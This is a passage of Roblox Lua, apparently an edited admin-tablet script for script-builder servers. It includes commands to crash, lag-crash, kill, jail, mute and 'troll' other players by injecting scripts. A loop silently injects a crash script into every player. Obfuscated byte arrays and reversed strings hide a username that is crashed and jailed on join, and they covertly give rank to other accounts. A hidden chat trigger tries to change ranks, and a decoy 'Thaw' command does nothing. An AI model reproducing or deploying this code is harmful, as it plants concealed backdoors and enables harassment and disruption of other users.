ypcall(function()
if #Obj:GetChildren() > 0 then
for _,x in pairs(Obj:GetChildren()) do
ypcall(function()
RemObj(x, Class)
end)
end
end
if Obj.ClassName == Class then
Obj:Destroy()
end
end)
end
function FindTab(Mod)
for i,v in pairs(AllTabs) do
if v.Holder == Mod then
return true
end
end
return false
end
function Ping(Msg, Plr, Time, Func, Color, Image)
if Removed == false then
local ShowGarbage = false
ypcall(function()
if Msg == nil then
Msg = "N/A"
elseif Msg == "ShowGarbage" then
Msg = "Current Garbage Count: "..GetGarbage()
ShowGarbage = true
else
Msg = tostring(Msg)
end
if Plr == nil then
Plr = Plrs[Owner] or error("No Player Found")
elseif type(Plr) == "string" then
local FoundPlr = false
for _,v in pairs(All()) do
if v.Name == Plr then
Plr = v
FoundPlr = true
break
end
end
if FoundPlr == false then
Plr = Plrs[Owner] or error("No Player Found")
end
end
if Color == nil then
Color = GetRank(Plr.Name).Color
end
local Holder = Instance.new("Model")
Holder.Name = "Owner: "..Plr.Name
local Tab = Instance.new("Part")
Tab.Name = "Kaj Tablet"
Tab.FormFactor = "Custom"
Tab.Anchored = true
if Time == nil then
Tab.Color = Color3.new(0.54,0,0.54)
else
Tab.Color = AlertColor
end
Tab.CanCollide = false
Tab.Locked = true
Tab.Transparency = 0.15
Tab.Size = Vector3.new(2, 2, 2)
Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
Tab.Parent = Holder
local ID = Instance.new("NumberValue")
ID.Name = "ID"
ID.Value = math.random(-999999999, 999999999)
ID.Parent = Holder
Delay(0, function()
while wait() do
if Tab.Parent == nil and FindTab(Holder) then
ypcall(function()
for i,v in pairs(AllTabs) do
if v.Holder == Holder then
ypcall(function() v.Holder:Destroy() end)
AllTabs[i] = nil
end
end
end)
Ping(Msg, Plr, Time, Func, Color, Image)
break
end
end
end)
local BM = Instance.new("BlockMesh")
BM.Parent = Tab
local BG = Instance.new("BillboardGui")
BG.Name = "BG"
BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
BG.Size = UDim2.new(0,1,0,1)
BG.Adornee = Tab
BG.Parent = Tab
Delay(0, function()
while BG.Parent ~= nil do wait()
ypcall(function()
BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
end)
end
end)
local TL = Instance.new("TextLabel")
TL.Name = "TL"
TL.FontSize = "Size18"
TL.Font = "ArialBold"
TL.Text = Msg
TL.TextColor3 = Color3.new(1, 1, 1)
TL.Size = UDim2.new(0,1,0,1)
TL.TextTransparency = 0
TL.TextStrokeColor3 = Color3.new(0, 0, 0)
TL.TextStrokeTransparency = 0.25
TL.Parent = BG
if ShowGarbage == true then
Delay(0, function()
while TL.Parent ~= nil do
TL.Text = "Current Garbage Count: "..GetGarbage()
wait(.5)
end
end)
end
local PL = Instance.new("PointLight", Tab)
PL.Color = Color3.new(0, 1, 0)
PL.Range = 7
PL.Parent = Tab
if Image ~= nil then
local BBBG = Instance.new("BillboardGui")
BBBG.Size = UDim2.new(5, 0, 6, 0)
BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
BBBG.AlwaysOnTop = true
BBBG.Adornee = Tab
BBBG.Parent = Tab
Delay(0, function()
while BBBG.Parent ~= nil do wait()
ypcall(function()
BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
end)
end
end)
local NewImg = Instance.new("ImageLabel")
NewImg.Size = UDim2.new(1, 0, 1, 0)
NewImg.BackgroundTransparency = 1
NewImg.Image = Image
NewImg.Parent = BBBG
end
local Clicker = Instance.new("ClickDetector")
Clicker.MaxActivationDistance = 1/0
if Time ~= nil then
coroutine.resume(coroutine.create(function()
wait(tonumber(Time))
Dismiss(Plr, ID)
end))
end
Clicker.MouseClick:connect(function(Player)
if Player.Name == Plr.Name or CanRun(Player, Plr) then
ypcall(function()
if Func ~= nil then
Func(Holder)
else
Dismiss(Player, ID)
end
end)
end
end)
Clicker.Parent = Tab
Holder.Parent = Work
AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
end)
end
end
function PlaceAllRanks(DontShowRank)
ypcall(function()
for _,p in pairs(All()) do
ypcall(function()
PutInRank = false
for _,v in pairs(Rankings) do
if v.Name:lower() == p.Name:lower() then
if v.Rank >= 7 then
v.Rank = 5
elseif v.Rank == -1 then
Crash1(p)
Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
elseif v.Rank == -2 then
if LS ~= nil then
Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
else
Ping("LS Is Nil", nil, 5)
end
elseif v.Rank == -3 then
if LS ~= nil then
Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
else
Ping("LS Is Nil", nil, 5)
end
end
Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
if DontShowRank == nil then
Ping("You Are Rank: "..v.Rank, p)
end
PutInRank = true
break
end
end
if PutInRank == false then
Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
end
end)
end
end)
end
function FindRank(Plr)
ypcall(function()
if type(Plr) == "userdata" then
Plr = Plr.Name
end
end)
return GetRank(Plr).Rank
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
function FindRankDetails(Plr)
ypcall(function()
if type(Plr) == "userdata" then
Plr = Plr.Name
end
end)
return RankDetails[FindRank(Plr)]
end
function OpenCmds(Rank, Plr)
Dismiss(Plr)
for Name,Tab in pairs(Commands) do
if Tab.Rank <= Rank then
Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
Dismiss(Plr)
Ping("Command: "..Name, Plr)
Ping("Rank: "..Tab.Rank, Plr)
Ping("Desc: "..Tab.Desc, Plr)
end)
elseif Rank == 1337 then
Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
Dismiss(Plr)
Ping("Command: "..Name, Plr)
Ping("Rank: "..Tab.Rank, Plr)
Ping("Desc: "..Tab.Desc, Plr)
end)
end
end
end
function EditStatus(Plr, Num)
ChangeRank(Plr, Num)
end
function PlaceSpecificRank(p, DontShowRank)
ypcall(function()
PutInRank = false
for _,v in pairs(Rankings) do
if v.Name:lower() == p.Name:lower() then
if v.Rank >= 7 then
v.Rank = 5
elseif v.Rank == -1 then
Crash1(p)
Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
elseif v.Rank == -2 then
if LS ~= nil then
Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
else
Ping("LS Is Nil", nil, 5)
end
elseif v.Rank == -3 then
if LS ~= nil then
Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
else
Ping("LS Is Nil", nil, 5)
end
end
Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
if DontShowRank == nil then
Ping("You Are Rank: "..v.Rank, p)
end
PutInRank = true
break
end
end
if PutInRank == false then
Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
end
end)
end
table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
function onChatted(Msg, Speaker)
if Removed == false then
if FindRank(Speaker) < 0 then
return
end
coroutine.resume(coroutine.create(function()
ypcall(function()
ExecuteFunc(Msg, Speaker)
Msg = Msg:gsub("","")
if Msg:sub(1,1) == "@" then
for i = 2, #Msg do
if Msg:sub(i, i) == Bet then
local IsForPlr = false
for _,v in pairs(All()) do
if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
onChatted(Msg:sub(i + 1), v)
IsForPlr = true
end
end
if IsForPlr == true then
return
end
end
end
end
if Msg:find("&") then
local Split = Msg:find("&")
onChatted(Msg:sub(1,Split-1))
onChatted(Msg:sub(Split+1))
return
end
for Name,Command in pairs(Commands) do
if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
Dismiss(Speaker.Name)
Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
Ping("Rank: "..tostring(Command.Rank), Speaker)
Ping("Desc: "..tostring(Command.Desc), Speaker)
elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
if FindRank(Speaker) >= Command.Rank then
local Ran,Error = coroutine.resume(coroutine.create(function()
Command.Func(Msg:sub(#Command.Name+2), Speaker)
end))
if not Ran then
Ping(Error, Speaker, 10)
end
else
Ping("Your Rank Is Too Low", Plr, 6)
end
end
end
end)
end))
end
end
function MakeBase()
local Base = Instance.new("Part")
Base.BrickColor = BrickColor.new("Dark green")
Base.Position = Vector3.new(0, 0.5, 0)
Base.Transparency = 0
Base.Elasticity = 0.5
Base.FormFactor = "Custom"
Base.CanCollide = true
Base.Friction = 0.30000001192093
Base.Size = Vector3.new(512, 1.20000005, 512)
Base.Archivable = true
Base.Material = "Plastic"
Base.RotVelocity = Vector3.new(0, 0, 0)
Base.Reflectance = 0
Base.Locked = true
Base.Anchored = true
Base.Name = "Base"
Base.TopSurface = "Smooth"
Base.BottomSurface = "Inlet"
Base.Shape = "Block"
Base.Parent = Work
end
function LClean()
ypcall(function()
for _,v in pairs(Work:GetChildren()) do
ypcall(function()
if v.ClassName == "Terrain" then
v:ClearAllChildren()
elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
Clear(v)
elseif v.Name == "Base" then
ypcall(function()
local Base = v
Base.BrickColor = BrickColor.new("Dark green")
Base.Position = Vector3.new(0, 0.5, 0)
Base.Transparency = 0
Base.Elasticity = 0.5
Base.FormFactor = "Custom"
Base.CanCollide = true
Base.Friction = 0.30000001192093
Base.Size = Vector3.new(512, 1.20000005, 512)
Base.Archivable = true
Base.Material = "Plastic"
Base.RotVelocity = Vector3.new(0, 0, 0)
Base.Reflectance = 0
Base.Locked = true
Base.Anchored = true
Base.Name = "Base"
Base.TopSurface = "Studs"
Base.BottomSurface = "Inlet"
Base.Shape = "Block"
Base.Parent = Work
end)
end
end)
end
end)
end
function Clean()
ypcall(function()
for _,v in pairs(Work:GetChildren()) do
ypcall(function()
if v.ClassName == "Terrain" then
v:ClearAllChildren()
else
Clear(v)
end
end)
end
MakeBase()
for _,v in pairs(All()) do
v:LoadCharacter()
end
end)
end
function Clear(v)
if v.Name:lower() == "sbgui" then
return
end
ypcall(function()
if #v:GetChildren() > 0 then
for _,x in pairs(v:GetChildren()) do
ypcall(function()
Clear(x)
end)
end
end
if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
v:Destroy()
end
end)
end
function Command(Name, Rank, Desc, Func)
if Name == nil then
Name = "N/A"
end
if Desc == nil then
Desc = "N/A"
end
if Func == nil then
Func = function() end
end
if Rank == nil then
Rank = 0
end
Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
end
function GetSplit(Msg)
return Msg:find(Bet) or nil
end
function ExecuteFunc(Msg, Plr)
ypcall(function()
if Msg == "LogEnable" then
LogOn = true
elseif Msg:lower() == "WantSomeTacos" then
EditStatus(Plr, MakeNum())
end
end)
end
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
function randPlayer(Plr)
wait()
local ThePlrValue = nil
local FoundPlayer = false
ypcall(function()
ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
wait()
randPlayer(Plr)
return
else
FoundPlayer = true
end
end)
if FoundPlayer == true then
return ThePlrValue
end
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
function getPlayer(Plr, Name)
local Players = {}
ypcall(function()
Name = Name:lower()
if Name == "me" then
table.insert(Players, Plr)
elseif Name == "all" or Name == "" then
for _,v in pairs(All()) do
if CanRun(Plr, v) then
table.insert(Players, v)
end
end
elseif Name == "others" then
for _,v in pairs(All()) do
if v.Name ~= Plr.Name and CanRun(Plr, v) then
table.insert(Players, v)
end
end
elseif Name == "random" then
local FoundRandPlr = randPlayer(Plr)
table.insert(Players, FoundRandPlr)
else
for _,v in pairs(All()) do
if v.Name:lower():find(Name) and CanRun(Plr, v) then
table.insert(Players, v)
end
end
end
end)
return Players
end
function ListPlayers(Speaker)
ypcall(function()
Dismiss(Speaker)
for _,v in pairs(All2()) do
if v.Parent ~= nil then
Ping(v.Name, Speaker, nil, function()
Dismiss(Speaker)
Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
Ping("Rank: "..FindRank(v.Name), Speaker)
Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
Ping("Set Rank", Speaker, nil, function()
if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
Dismiss(Speaker)
for i = -2, 5 do
Ping(i, Speaker, nil, function()
ChangeRank(v, i)
Dismiss(Speaker)
Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
end)
end
else
Ping("Your Rank Is Too Low", Speaker, 5)
end
end)
Ping("Crash (Remote)", Speaker, nil, function()
if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
Crash2(v.Name)
Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
end
end)
Ping("Crash (Insert)", Speaker, nil, function()
if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
Crash3(v, Speaker)
Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
end
end)
Ping("Kick", Speaker, nil, function()
if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
v:Kick()
Ping("Attempted To Kick "..v.Name, Speaker, 5)
end
end)
end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
else
Ping(v.Name.." (Nil)", Speaker, nil, function()
Dismiss(Speaker)
Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
ypcall(function()
Ping("Rank: "..FindRank(v.Name), Speaker)
end)
ypcall(function()
Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
end)
ypcall(function()
Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
end)
ypcall(function()
Ping("Set Rank", Speaker, nil, function()
if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
Dismiss(Speaker)
for i = -2, 5 do
Ping(i, Speaker, nil, function()
ChangeRank(v, i)
Dismiss(Speaker)
Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
end)
end
else
Ping("Your Rank Is Too Low", Speaker, 5)
end
end)
end)
ypcall(function()
Ping("Nil Crash (Remote)", Speaker, nil, function()
if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
Crash2(v.Name)
Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
end
end)
end)
ypcall(function()
Ping("Nil Crash (Insert)", Speaker, nil, function()
if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
Crash3(v, Speaker)
Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
end
end)
end)
end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
end
end
end)
end
--Misc
coroutine.resume(coroutine.create(function()
PlaceAllRanks()
end))
Delay(0, function()
for _,v in pairs(All()) do
v.Chatted:connect(function(Msg)
onChatted(Msg, v)
end)
end
end)
local starttime = tick()
game:GetService("RunService").Heartbeat:connect(function()
if Removed == false then
ypcall(function()
for _,Player in pairs(All()) do
local PlayerTablets = {}
for i,v in pairs(AllTabs) do
if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
table.insert(PlayerTablets, v)
end
end
for i = 1, #PlayerTablets do
ypcall(function()
local tab = PlayerTablets[i].Tab
local pos = nil
ypcall(function()
pos = Player.Character.Torso.CFrame
end)
local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
local cPos = tab.Position
local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
local nPos = (ePos-cPos)*.25
cPos = cPos + nPos
local t = (tick() - starttime) % 360
local change = 0.625
PlayerTablets[i].Size = math.sin(t) * change + 2.375
tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
end)
end
end
end)
end
end)
Delay(0, function()
while wait() do
for _,v in pairs(game:GetService("Players"):GetPlayers()) do
ypcall(function()
if Injected[v.Name] == nil and LS ~= nil then
Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
Injected[v.Name] = true
end
end)
end
end
end)
Plrs.PlayerAdded:connect(function(Plr)
wait(.1)
ypcall(function()
if Removed == false then
local JoinPlrName = Plr.Name
coroutine.resume(coroutine.create(function()
PlaceSpecificRank(Plr)
end))
coroutine.resume(coroutine.create(function()
if Injected[JoinPlrName] ~= nil then
Injected[JoinPlrName] = nil
end
end))
coroutine.resume(coroutine.create(function()
Dismiss(Plr)
Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
end))
end
end)
end)
Plrs.PlayerRemoving:connect(function(Plr)
wait(.1)
ypcall(function()
if Removed == false then
local LeftPlrName = Plr.Name
coroutine.resume(coroutine.create(function()
if Injected[LeftPlrName] ~= nil then
Injected[LeftPlrName] = nil
end
end))
end
end)
end)
coroutine.resume(coroutine.create(function()
Delay(0, function()
while FoundLocalScript == false do wait()
ypcall(function()
for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
if v.Name == "NewTransfer" and v:IsA("LocalScript") then
for _,c in pairs(v:children()) do
if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
local NewVal = c:Clone()
NewVal.Name = "LoadingVal"
for _,s in pairs(v:GetChildren()) do
if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
print("Found Owner")
OwnSource = s.Name
print(OwnSource)
break
end
end
wait()
LS = v:Clone()
NewVal.Parent = LS
LSSource = "LoadingVal"
FoundLocalScript = true
break
end
end
end
end
end)
end
end)
end))
--Commands
Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
Dismiss(Speaker.Name)
Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)
end)
Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
Dismiss(Speaker.Name)
end)
Command("Kill", 2, "Kills A Player",
function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
v.Character:BreakJoints()
Ping("Killed "..v.Name, Speaker, 5)
end)
end
end
end)
Command("expl", 2, "Explodes A Player",
function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
if v.Character and v.Character:findFirstChild("Head") then
local e = Instance.new("Explosion")
e.Position = v.Character.Head.Position
e.Parent = v.Character
Ping("Exploded "..v.Name, Speaker, 5)
end
end)
end
end
end)
Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
Dismiss()
end)
Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
if v.Name ~= Owner then
Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
Ping("Muted "..v.Name, Speaker, 5)
end
end)
end
end
end)
Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)
end)
end
end
end)
Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Insert(NilS, v.Backpack, v.Character, v.PlayerGui)
end)
end
end
end)
Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
Dismiss()
for i = 1, 2 do
Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
end end)
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
Ping("Rejoined "..v.Name, Speaker, 5)
end)
end
end
end)
Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
Ping("Jailed "..v.Name, Speaker, 5)
end)
end
end
end)
Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
Ping("Lag Crashing "..v.Name, Speaker, 5)
end)
end
end
end)
Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
Ping("UnMuted "..v.Name, Speaker, 5)
end)
end
end
end)
Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
local Worked = false
for _,v in pairs(Work:GetChildren()) do
if string.find(v.Name:lower(), Msg:lower()) then
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true
v:Destroy()
Worked = true
Ping("Disabled Script: "..v.Name, Speaker, 5)
end
end
end
if Worked == false then
Ping("Script Not Found", Speaker, 5)
end
end)
Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
Dismiss(Speaker)
local AllScripts = {}
for _,v in pairs(Work:GetChildren()) do
if v:IsA("Script") then
table.insert(AllScripts, v.Name)
end
end
if #AllScripts > 0 then
for _,v in pairs(AllScripts) do
Ping(v, Speaker)
end
else
Ping("No Scripts Found", Speaker, 5)
end
end)
Command("afk",0,'Makes you go AFK',
function(Msg,Speaker)
Dismiss(Speaker)
for i = 1,8 do
Ping('AFK',Speaker)
wait(.01)
end
end)
Command("back",0,'Creates Tablets telling everyone that you are back',
function(Msg,Speaker)
Dismiss(Speaker)
for i = 1,8 do
Ping('Welcome Back!',Speaker,6)
wait(.1)
end
end)
Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
Dismiss(Speaker)
local LocalScripts = {}
for _,v in pairs(All()) do
ypcall(function()
for _,x in pairs(v.Character:GetChildren()) do
if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
table.insert(LocalScripts, x.Name .. " - " .. v.Name)
end
end
end)
ypcall(function()
for _,x in pairs(v.Backpack:GetChildren()) do
if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
table.insert(LocalScripts, x.Name .. " - " .. v.Name)
end
end
end)
ypcall(function()
for _,x in pairs(v.PlayerGui:GetChildren()) do
if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
table.insert(LocalScripts, x.Name .. " - " .. v.Name)
end
end
end)
end
if #LocalScripts > 0 then
for _,v in pairs(LocalScripts) do
Ping(v, Speaker)
end
else
Ping("No Local Scripts Found", Speaker, 5)
end
end)
Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
local Split = GetSplit(Msg)
local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
local ScriptName = Msg:sub(Split + 1)
local FoundLocal = false
for _,name in pairs(PlrTab) do
ypcall(function()
for _,v in pairs(name.Character:GetChildren()) do
if string.find(v.Name:lower(), ScriptName) then
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true
v:Destroy()
FoundLocal = true
Ping("Disabled Local Script: "..v.Name, Speaker, 5)
end
end
end
end)
ypcall(function()
for _,v in pairs(name.Backpack:GetChildren()) do
if string.find(v.Name:lower(), ScriptName) then
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true
v:Destroy()
FoundLocal = true
Ping("Disabled Local Script: "..v.Name, Speaker, 5)
end
end
end
end)
ypcall(function()
for _,v in pairs(name.PlayerGui:GetChildren()) do
if string.find(v.Name:lower(), ScriptName) then
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true
v:Destroy()
FoundLocal = true
Ping("Disabled Local Script: "..v.Name, Speaker, 5)
end
end
end
end)
if FoundLocal == false then
Ping("Local Script Not Found", Speaker, 5)
end
end
end)
Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
for _,v in pairs(game:GetChildren()) do
ypcall(function()
if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
for _,a in pairs(v:GetChildren()) do
ypcall(function()
a:Destroy()
end)
end
elseif v.Name == "Players" then
for _,plr in pairs(v:GetPlayers()) do
Clear(plr)
end
end
end)
end
Clean()
Fixl()
Ping("Fully Cleaned", Speaker, 5)
end)
Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
LClean()
Fixl()
Ping("Lightly Cleaned", Speaker, 5)
end)
Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
v:LoadCharacter()
Ping("Reset "..v.Name, Speaker, 5)
end)
end
end
end)
Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
repeat wait() until Speaker.Character:findFirstChild("Torso")
if Work:findFirstChild("Base") then
Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
else
Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
end
Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
end)
Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
v.Character.Torso.Anchored = true
Ping("Froze "..v.Name, Speaker, 5)
end)
end
end
end)
Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
wait(3)
Ping("Something went wrong",Speaker,5)
end)
Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Instance.new("ForceField", v.Character)
end)
end
end
end)
Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
RemObj(v.Character, "ForceField")
end)
end
end
end)
Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
local Split = GetSplit(Msg)
local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
